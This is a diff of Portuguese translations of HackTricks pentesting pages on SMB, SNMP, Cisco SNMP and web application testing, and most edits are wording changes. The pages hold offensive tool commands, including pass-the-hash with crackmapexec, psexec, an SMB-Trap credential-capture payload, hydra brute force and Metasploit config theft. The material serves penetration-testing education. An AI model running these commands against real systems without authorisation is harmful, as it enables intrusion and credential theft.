| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? |
|
||||
| `magic script = script.sh` | Qual script deve ser executado quando o script é fechado? |
|
||||
| `magic output = script.out` | Onde a saída do script mágico precisa ser armazenada? |
|
||||
| `logon script = script.sh` | Qual script deve ser executado no login do usuário? |
|
||||
| `magic script = script.sh` | Qual script deve ser executado quando o script é fechado? |
|
||||
| `magic output = script.out` | Onde a saída do script mágico deve ser armazenada? |
|
||||
|
||||
O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**.
|
||||
|
||||
|
@ -480,7 +469,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||
|
||||
Ambas as opções irão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina vítima e usá-lo para **executar algo** (**psexec** irá **fazer upload** de um arquivo executável para a pasta ADMIN$ e **smbexec** irá apontar para **cmd.exe/powershell.exe** e colocar nos argumentos o payload --**técnica sem arquivo-**-).\
|
||||
**Mais informações** sobre [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
|
||||
No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
@ -533,7 +522,7 @@ Este ataque utiliza a ferramenta Responder para **capturar sessões de autentica
|
|||
|
||||
## SMB-Trap
|
||||
|
||||
A biblioteca do Windows URLMon.dll tenta automaticamente autenticar-se no host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
A biblioteca do Windows URLMon.dll tenta automaticamente autenticar no host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Isso ocorre com as funções:
|
||||
|
||||
|
@ -631,10 +620,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
# 161,162,10161,10162/udp - Teste de penetração SNMP
|
||||
# 161,162,10161,10162/udp - Pentesting SNMP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ O SNMP também utiliza a porta **162/UDP** para **traps**. Estes são **pacotes
|
|||
|
||||
### MIB
|
||||
|
||||
Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Base de Informações de Gerenciamento (MIB)** foi criada. A MIB é um **formato independente para armazenar informações do dispositivo**. Uma MIB é um arquivo **texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo são listados em uma hierarquia de árvore **padronizada**. Contém pelo menos um `Identificador de Objeto` (`OID`), que, além do **endereço único** necessário e de um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do objeto respectivo.\
|
||||
Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Base de Informações de Gerenciamento (MIB)** foi criada. A MIB é um **formato independente para armazenar informações do dispositivo**. Uma MIB é um arquivo **texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo são listados em uma hierarquia de árvore **padronizada**. Ela contém pelo menos um `Identificador de Objeto` (`OID`), que, além do **endereço único** necessário e de um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do objeto respectivo.\
|
||||
Os arquivos MIB são escritos no formato de texto ASCII baseado em `Notação de Sintaxe Abstrata Um` (`ASN.1`). As **MIBs não contêm dados**, mas explicam **onde encontrar quais informações** e como são, retornando valores para o OID específico, ou qual tipo de dado é usado.
|
||||
|
||||
### OIDs
|
||||
|
@ -164,9 +164,9 @@ Ambos os comandos requerem uma **cadeia de comunidade** e o endereço IP relevan
|
|||
|
||||
Uma série de valores da **Base de Informações de Gerenciamento (MIB)** são utilizados para monitorar vários aspectos de um sistema Windows por meio do SNMP:
|
||||
|
||||
* **Processos do Sistema**: Acessado via `1.3.6.1.2.1.25.1.6.0`, esse parâmetro permite o monitoramento de processos ativos no sistema.
|
||||
* **Processos do Sistema**: Acessado via `1.3.6.1.2.1.25.1.6.0`, esse parâmetro permite o monitoramento de processos ativos dentro do sistema.
|
||||
* **Programas em Execução**: O valor `1.3.6.1.2.1.25.4.2.1.2` é designado para rastrear programas em execução atualmente.
|
||||
* **Caminho dos Processos**: Para determinar de onde um processo está sendo executado, é utilizado o valor MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Caminho dos Processos**: Para determinar de onde um processo está sendo executado, o valor MIB `1.3.6.1.2.1.25.4.2.1.4` é usado.
|
||||
* **Unidades de Armazenamento**: O monitoramento de unidades de armazenamento é facilitado por `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Nome do Software**: Para identificar o software instalado em um sistema, é empregado `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
* **Contas de Usuário**: O valor `1.3.6.1.4.1.77.1.2.25` permite o rastreamento de contas de usuário.
|
||||
|
@ -174,7 +174,7 @@ Uma série de valores da **Base de Informações de Gerenciamento (MIB)** são u
|
|||
|
||||
### Cisco
|
||||
|
||||
Dê uma olhada nesta página se você possui equipamentos Cisco:
|
||||
Dê uma olhada nesta página se você tiver equipamentos Cisco:
|
||||
|
||||
{% content-ref url="cisco-snmp.md" %}
|
||||
[cisco-snmp.md](cisco-snmp.md)
|
||||
|
@ -214,13 +214,13 @@ Um passo crucial envolve identificar a **string de comunidade privada** usada po
|
|||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **Nomes de Usuários/Senhas**
|
||||
### **Nomes de usuário/Senhas**
|
||||
|
||||
Registros armazenados em tabelas MIB são examinados em busca de **tentativas de login malsucedidas**, que podem incluir acidentalmente senhas inseridas como nomes de usuários. Palavras-chave como _fail_, _failed_ ou _login_ são pesquisadas para encontrar dados valiosos:
|
||||
Registros armazenados em tabelas MIB são examinados em busca de **tentativas de login malsucedidas**, que podem incluir acidentalmente senhas inseridas como nomes de usuário. Palavras-chave como _fail_, _failed_ ou _login_ são pesquisadas para encontrar dados valiosos:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **E-mails**
|
||||
### **Emails**
|
||||
|
||||
Por fim, para extrair **endereços de e-mail** dos dados, é utilizado um comando **grep** com uma expressão regular, focando em padrões que correspondem a formatos de e-mail:
|
||||
```bash
|
||||
|
@ -240,7 +240,7 @@ Se houver uma ACL que permite apenas alguns IPs consultar o serviço SMNP, você
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -288,7 +288,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,13 +6,13 @@
|
|||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -30,10 +30,10 @@ onesixtyone -c communitystrings -i targets
|
|||
|
||||
O framework Metasploit apresenta o módulo `cisco_config_tftp`, facilitando a extração de configurações de dispositivos, condicionado à aquisição de uma string de comunidade RW. Parâmetros essenciais para esta operação incluem:
|
||||
|
||||
* String de comunidade RW (**COMMUNITY**)
|
||||
* IP do atacante (**LHOST**)
|
||||
* IP do dispositivo alvo (**RHOSTS**)
|
||||
* Caminho de destino para os arquivos de configuração (**OUTPUTDIR**)
|
||||
- String de comunidade RW (**COMMUNITY**)
|
||||
- IP do atacante (**LHOST**)
|
||||
- IP do dispositivo alvo (**RHOSTS**)
|
||||
- Caminho de destino para os arquivos de configuração (**OUTPUTDIR**)
|
||||
|
||||
Após a configuração, este módulo permite o download das configurações do dispositivo diretamente para uma pasta especificada.
|
||||
|
||||
|
@ -49,20 +49,20 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda a hackear a AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** Twitter 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,9 +14,9 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -45,26 +45,26 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> Nesta metodologia, vamos supor que você está atacando um domínio (ou subdomínio) e apenas isso. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com um servidor web indeterminado dentro do escopo.
|
||||
|
||||
* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para lembrar durante o resto do teste se conseguir identificar com sucesso a tecnologia.
|
||||
* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **dicas** para lembrar durante o restante do teste se conseguir identificar com sucesso a tecnologia.
|
||||
* [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia?
|
||||
* [ ] Usando alguma **tecnologia conhecida**? Algum **truque útil** para extrair mais informações?
|
||||
* [ ] Usando alguma **tecnologia conhecida**? Alguma **dica útil** para extrair mais informações?
|
||||
* [ ] Algum **scanner especializado** para executar (como wpscan)?
|
||||
* [ ] Inicie os **scanners de propósitos gerais**. Nunca se sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
|
||||
* [ ] Execute **scanners de propósitos gerais**. Nunca se sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
|
||||
* [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **verificação SSL/TLS** (se HTTPS).
|
||||
* [ ] Inicie o **spidering** da página web: É hora de **encontrar** todos os **arquivos, pastas** e **parâmetros possíveis** sendo usados. Além disso, verifique **descobertas especiais**.
|
||||
* [ ] _Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spidered._
|
||||
* [ ] **Brute-Forcing de Diretórios**: Tente forçar todos os diretórios descobertos em busca de novos **arquivos** e **diretórios**.
|
||||
* [ ] _Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser forçado._
|
||||
* [ ] _Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
|
||||
* [ ] **Verificação de Backups**: Teste se consegue encontrar **backups** dos **arquivos descobertos** adicionando extensões de backup comuns.
|
||||
* [ ] **Brute-Force de Parâmetros**: Tente **encontrar parâmetros ocultos**.
|
||||
* [ ] Depois de ter **identificado** todos os **endpoints possíveis** que aceitam **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a eles.
|
||||
* [ ] Depois de ter **identificado** todos os **pontos finais** possíveis que aceitam **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a eles.
|
||||
* [ ] [Siga esta lista de verificação](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
|
||||
## Versão do Servidor (Vulnerável?)
|
||||
|
||||
### Identificar
|
||||
|
||||
Verifique se existem **vulnerabilidades conhecidas** para a versão do servidor que está em execução.\
|
||||
Verifique se existem **vulnerabilidades conhecidas** para a versão do servidor em execução.\
|
||||
Os **cabeçalhos HTTP e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** sendo usadas. A varredura **Nmap** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
|
@ -72,63 +72,63 @@ whatweb -a 3 <URL> #Aggresive
|
|||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Busque por [vulnerabilidades da versão da aplicação web](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
Pesquise **por** [**vulnerabilidades da versão da aplicação web**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
### Verifique se há algum WAF
|
||||
### **Verifique se há algum WAF**
|
||||
|
||||
* [https://github.com/EnableSecurity/wafw00f](https://github.com/EnableSecurity/wafw00f)
|
||||
* [https://github.com/Ekultek/WhatWaf.git](https://github.com/Ekultek/WhatWaf.git)
|
||||
* [https://nmap.org/nsedoc/scripts/http-waf-detect.html](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
* [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Truques de tecnologia web
|
||||
|
||||
Alguns truques para encontrar vulnerabilidades em diferentes tecnologias bem conhecidas sendo usadas:
|
||||
Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas sendo usadas:
|
||||
|
||||
* [AEM - Adobe Experience Cloud](aem-adobe-experience-cloud.md)
|
||||
* [Apache](apache.md)
|
||||
* [Artifactory](artifactory-hacking-guide.md)
|
||||
* [Buckets](buckets/)
|
||||
* [CGI](cgi.md)
|
||||
* [Drupal](drupal.md)
|
||||
* [Flask](flask.md)
|
||||
* [Git](git.md)
|
||||
* [Golang](golang.md)
|
||||
* [GraphQL](graphql.md)
|
||||
* [H2 - Banco de dados SQL Java](h2-java-sql-database.md)
|
||||
* [Truques do IIS](iis-internet-information-services.md)
|
||||
* [JBOSS](jboss.md)
|
||||
* [Jenkins](broken-reference/)
|
||||
* [Jira](jira.md)
|
||||
* [Joomla](joomla.md)
|
||||
* [JSP](jsp.md)
|
||||
* [Laravel](laravel.md)
|
||||
* [Moodle](moodle.md)
|
||||
* [Nginx](nginx.md)
|
||||
* [PHP (o PHP tem muitos truques interessantes que podem ser explorados)](php-tricks-esp/)
|
||||
* [Python](python.md)
|
||||
* [Spring Actuators](spring-actuators.md)
|
||||
* [Symphony](symphony.md)
|
||||
* [Tomcat](tomcat.md)
|
||||
* [VMWare](vmware-esx-vcenter....md)
|
||||
* [Teste de Pentesting de API Web](web-api-pentesting.md)
|
||||
* [WebDav](put-method-webdav.md)
|
||||
* [Werkzeug](werkzeug.md)
|
||||
* [Wordpress](wordpress.md)
|
||||
* [Aplicativos Desktop Electron (XSS para RCE)](electron-desktop-apps/)
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
* [**Artifactory**](artifactory-hacking-guide.md)
|
||||
* [**Buckets**](buckets/)
|
||||
* [**CGI**](cgi.md)
|
||||
* [**Drupal**](drupal.md)
|
||||
* [**Flask**](flask.md)
|
||||
* [**Git**](git.md)
|
||||
* [**Golang**](golang.md)
|
||||
* [**GraphQL**](graphql.md)
|
||||
* [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
* [**IIS tricks**](iis-internet-information-services.md)
|
||||
* [**JBOSS**](jboss.md)
|
||||
* [**Jenkins**](broken-reference/)
|
||||
* [**Jira**](jira.md)
|
||||
* [**Joomla**](joomla.md)
|
||||
* [**JSP**](jsp.md)
|
||||
* [**Laravel**](laravel.md)
|
||||
* [**Moodle**](moodle.md)
|
||||
* [**Nginx**](nginx.md)
|
||||
* [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/)
|
||||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
* [**Tomcat**](tomcat.md)
|
||||
* [**VMWare**](vmware-esx-vcenter....md)
|
||||
* [**Web API Pentesting**](web-api-pentesting.md)
|
||||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Leve em consideração que o mesmo domínio pode estar usando diferentes tecnologias em portas, pastas e subdomínios diferentes._\
|
||||
Se a aplicação web estiver usando alguma tecnologia/plataforma conhecida listada anteriormente ou qualquer outra, não se esqueça de pesquisar na Internet por novos truques (e me avise!).
|
||||
_Leve em consideração que o **mesmo domínio** pode estar usando **tecnologias diferentes** em **portas**, **pastas** e **subdomínios** diferentes._\
|
||||
Se a aplicação web estiver usando alguma **tecnologia/plataforma conhecida listada anteriormente** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** novos truques (e me avise!).
|
||||
|
||||
### Revisão de Código Fonte
|
||||
|
||||
Se o código fonte da aplicação estiver disponível no github, além de realizar um teste White box da aplicação por conta própria, há algumas informações que podem ser úteis para o teste Black-Box atual:
|
||||
Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar um **teste White box** da aplicação por conta própria, há **algumas informações** que podem ser **úteis** para o atual **teste Black-Box**:
|
||||
|
||||
* Existe um arquivo de **Change-log ou Readme ou Version** ou qualquer coisa com informações de versão acessível via web?
|
||||
* Existe um arquivo de **Change-log ou Readme ou Versão** ou qualquer coisa com **informações de versão acessíveis** via web?
|
||||
* Como e onde estão salvadas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)?
|
||||
* As **senhas** estão em texto simples, **criptografadas** ou qual algoritmo de **hashing** é usado?
|
||||
* Está usando alguma **chave mestra** para criptografar algo? Qual algoritmo é usado?
|
||||
* Você pode acessar algum desses arquivos explorando alguma vulnerabilidade?
|
||||
* Há alguma informação interessante no github (problemas resolvidos e não resolvidos)? Ou no histórico de **commits** (talvez alguma **senha introduzida em um commit antigo**)?
|
||||
* As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado?
|
||||
* Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
|
||||
* Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade?
|
||||
* Há alguma **informação interessante no github** (resolvida e não resolvida) **issues**? Ou no **histórico de commits** (talvez alguma **senha introduzida em um commit antigo**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -163,7 +163,7 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Neste ponto, você já deve ter alguma informação sobre o servidor web usado pelo cliente (se houver dados disponíveis) e algumas dicas a serem lembradas durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner.
|
||||
> Neste ponto, você já deve ter alguma informação sobre o servidor web usado pelo cliente (se houver dados fornecidos) e alguns truques a serem lembrados durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner.
|
||||
|
||||
## Descoberta de Aplicativos da Web Passo a Passo
|
||||
|
||||
|
@ -201,7 +201,7 @@ Se você descobrir que o **WebDav** está **habilitado** mas não tem permissõe
|
|||
* Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
|
||||
* Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**. Então é uma vulnerabilidade alta.
|
||||
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (Em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reavaliar as vulnerabilidades:
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv**](https://github.com/hahwul/a2sv) para re-verificar as vulnerabilidades:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -210,7 +210,7 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vu
